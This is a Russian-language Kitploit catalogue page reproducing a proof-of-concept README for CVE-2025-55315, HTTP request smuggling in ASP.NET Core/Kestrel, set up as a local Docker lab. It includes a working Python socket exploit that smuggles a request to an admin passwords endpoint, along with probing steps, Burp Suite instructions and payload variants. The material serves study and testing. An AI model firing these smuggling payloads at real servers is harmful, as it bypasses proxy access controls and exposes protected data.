Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55315 — Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers. | Kitploit
Инструменты/GitHubGitHub/martinfabianionut/cve-2025-55315
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
18 месяцев назадЕщё не проверено

CVE-2025-55315

Доказательство концепции эксплойта для CVE-2025-55315 (HTTP-контрабанда запросов в .NET). Демонстрирует, как неправильно разбираемое чанкированное кодирование позволяет злоумышленникам провозить запросы мимо прокси и балансировщиков нагрузки в уязвимых серверах ASP.NET Core/Kestrel.

📊 Презентация

Посмотреть интерактивную презентацию Prezi

Prezi Presentation

🎥 Нажмите на значок выше, чтобы просмотреть полную интерактивную презентацию на Prezi

Структура проекта

  • Api — объединённое ASP.NET Core API с двумя Dockerfile:
    • Dockerfile.vulnerable — использует .NET 10.0.100-rc.1 (уязвим к CVE-2025-55315)
    • Dockerfile.patched — использует .NET 10.0.100 (исправленная версия)
  • PythonProxy — уязвимый прокси, используемый для демонстрации эксплойта CVE-2025-55315 (отдаёт предпочтение Content-Length перед Transfer-Encoding)
  • YarpProxy — обратный прокси YARP для тестирования балансировки нагрузки (не является частью эксплойта)

Примечание: Уязвимость находится в HTTP-парсере среды выполнения .NET (Kestrel), а не в коде приложения. Обе версии используют идентичный исходный код, но разные версии среды выполнения .NET.

Быстрый старт

root@kitploit:~
# Сборка и запуск всех сервисов
docker-compose up --build

# Доступ к сервисам
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (балансировка нагрузки): http://localhost:5028

Подробные инструкции по использованию Docker см. в DOCKER.md.

Демонстрация эксплойта

Python-прокси демонстрирует CVE-2025-55315, отдавая предпочтение Content-Length перед Transfer-Encoding, что позволяет осуществлять HTTP-контрабанду запросов:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

Эта полезная нагрузка провозит второй запрос к /passwords/admin мимо проверки безопасности прокси, используя расхождение в том, как прокси и серверная часть разбирают запрос.

Визуальная интерпретация запроса

Вот как прокси и серверная часть по-разному интерпретируют одну и ту же полезную нагрузку:

Ключевые различия:

Подробное объяснение:

  • Прокси: Принимает 2;\n как допустимое объявление размера чанка (2 байта) → Читает xx как 2-байтовое тело чанка → Переходит к следующему чанку (39)
  • Сервер: Отвергает \n как конец строки → Размер чанка по-прежнему 2, но заголовок расширяется через 2;\nxx\r\n → Читает 39 как часть тела чанка → 0\r\n завершает чанк
  • Результат: Провезённый запрос GET /passwords/admin скрыт в том, что сервер считает данными чанка, но разбирается как отдельный запрос после завершения обработки чанков

Провезённый запрос GET /passwords/admin скрыт в том, что прокси считает телом чанка, но сервер разбирает его как отдельный HTTP-запрос.

Выявление уязвимости

Перед эксплуатацией необходимо определить, какой HTTP-заголовок (Content-Length или Transfer-Encoding) предпочитают разные компоненты. Вот пошаговое руководство:

Шаг 1: Проверка приоритета заголовков

Отправьте запрос с обоими заголовками Content-Length и Transfer-Encoding: chunked, чтобы увидеть, какой из них уважает каждый компонент:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Анализ:

  • Если сервер обрабатывает "Fa" (2 байта) → Он предпочитает Content-Length
  • Если сервер обрабатывает "Fabian" (полное чанкированное тело) → Он предпочитает Transfer-Encoding

Шаг 2: Проверка каждого компонента

Проверьте все компоненты вашей архитектуры, чтобы найти расхождения:

Проверка Unsafe API (Порт 5001)

root@kitploit:~
# Используя Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Проверка Safe API (Порт 5002)

root@kitploit:~
# Измените порт на 5002 и протестируйте
# Safe API должен правильно обрабатывать конфликт

Проверка Python Proxy (Порт 5027)

root@kitploit:~
# Измените порт на 5027
# Python-прокси предпочитает Content-Length (уязвим)

Проверка YARP Proxy (Порт 5028)

root@kitploit:~
# Измените порт на 5028
# Проверьте, как YARP обрабатывает конфликт заголовков

Шаг 3: Использование Burp Suite для ручного тестирования

  1. Перехватите запрос: Захватите обычный POST-запрос к /passwords
  2. Измените заголовки: Добавьте оба заголовка вручную:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. Установите тело: Используйте формат чанкированного кодирования:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. Сравните ответы: Отправьте на разные конечные точки и проанализируйте, какую часть тела обрабатывает каждый компонент
  2. Выявите расхождение: Если прокси читает 2 байта, а сервер — полный чанк, у вас есть уязвимость десинхронизации

Шаг 4: Создание эксплойта

Как только вы определили:

  • Прокси: Предпочитает Content-Length (читает только N байт)
  • Сервер: Предпочитает Transfer-Encoding (читает чанкированное тело)

Вы можете провезти второй запрос, который прокси не видит, но сервер обрабатывает.

Шаг 5: Проверка эксплойта

Запустите полную полезную нагрузку эксплойта (см. раздел «Демонстрация эксплойта» выше) и подтвердите:

  • Первый ответ: Обычный результат POST
  • Второй ответ: Данные конечной точки администратора (провезённый запрос выполнен успешно)

Рекомендуемые инструменты

  • Burp Suite: Ручное создание запросов и манипуляция заголовками
  • Python socket: Низкоуровневый контроль для точного форматирования HTTP
  • curl с --data-binary: Быстрое тестирование из командной строки
  • Wireshark: Анализ на уровне пакетов, чтобы точно увидеть, что каждый компонент получает

Альтернативные варианты эксплойта

Эксплойт может быть создан несколькими способами. Экспериментируйте с разными подходами:

С явным Content-Length

root@kitploit:~
# Добавьте Content-Length, чтобы сделать десинхронизацию явной
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... остальная часть полезной нагрузки
)

Почему это работает без Content-Length

  • Прокси: Принимает \n как допустимый конец строки → Считает 2;\n размером чанка → Читает 2 байта (xx)
  • Сервер: Отвергает \n → Заголовок чанка расширяется через 2;\nxx\r\n → 39 становится телом чанка → 0\r\n завершает чанк
  • Результат: Провезённый запрос скрыт в теле чанка, разбирается как отдельный запрос сервером

Идеи для экспериментов

Попробуйте разные сценарии десинхронизации, изменив PythonProxy/proxy_server.py:

  • CL.TE: Прокси использует Content-Length, сервер использует Transfer-Encoding
  • TE.CL: Прокси использует Transfer-Encoding, сервер использует Content-Length (попробуйте создать свои собственные API)
  • TE.TE: Оба используют Transfer-Encoding, но разбирают по-разному (например, \n против \r\n)

Экспериментируйте с:

  • Разными размерами и форматами чанков
  • Несколькими провезёнными запросами в последовательности
  • Различными HTTP-методами (GET, POST, PUT, DELETE) — вы можете добавить их в API
  • Пробелами и специальными символами
Скачать инструмент

ИНТЕРПРЕТАЦИЯ ПРОКСИ (Принимает \n как допустимый конец строки):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Запрос 1 — Взгляд прокси"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>заголовок чанка (принимает \n)</i>"]
        PCB1["<b>xx</b><br/><i>тело чанка — 2 байта</i>"]
        PCH2["<b>39</b><br/><i>заголовок чанка</i>"]
        PCB2["<i>тело чанка — 57 байт</i><br/>(содержит провезённый запрос)"]
        PLK["<b>0</b><br/><i>последний чанк</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Игнорируется прокси"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Прокси считает это частью тела чанка)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

ИНТЕРПРЕТАЦИЯ СЕРВЕРА (Отвергает \n, требует \r\n):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Запрос 1 — Взгляд сервера"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (недопустимо — часть заголовков)<br/><b>xx</b> (заголовки заканчиваются здесь)"]
        BCB1["<b>39</b><br/><i>тело чанка</i>"]
        BLK1["<b>0</b><br/><i>последний чанк</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Запрос 2 — Взгляд сервера"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>последний чанк</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
КомпонентРазмер чанка 2;\nПрочитано байтЧто происходит
Прокси✅ Допустимый размер чанка2 байта (xx)Считает 2;\n полным заголовком чанка, читает 2 байта, переходит к следующему чанку
Сервер❌ Недопустимый конец строкиВсё ещё читает как чанк из 2 байтЗаголовок чанка не заканчивается до xx\r\n, поэтому 39 становится телом чанка, 0 завершает чанк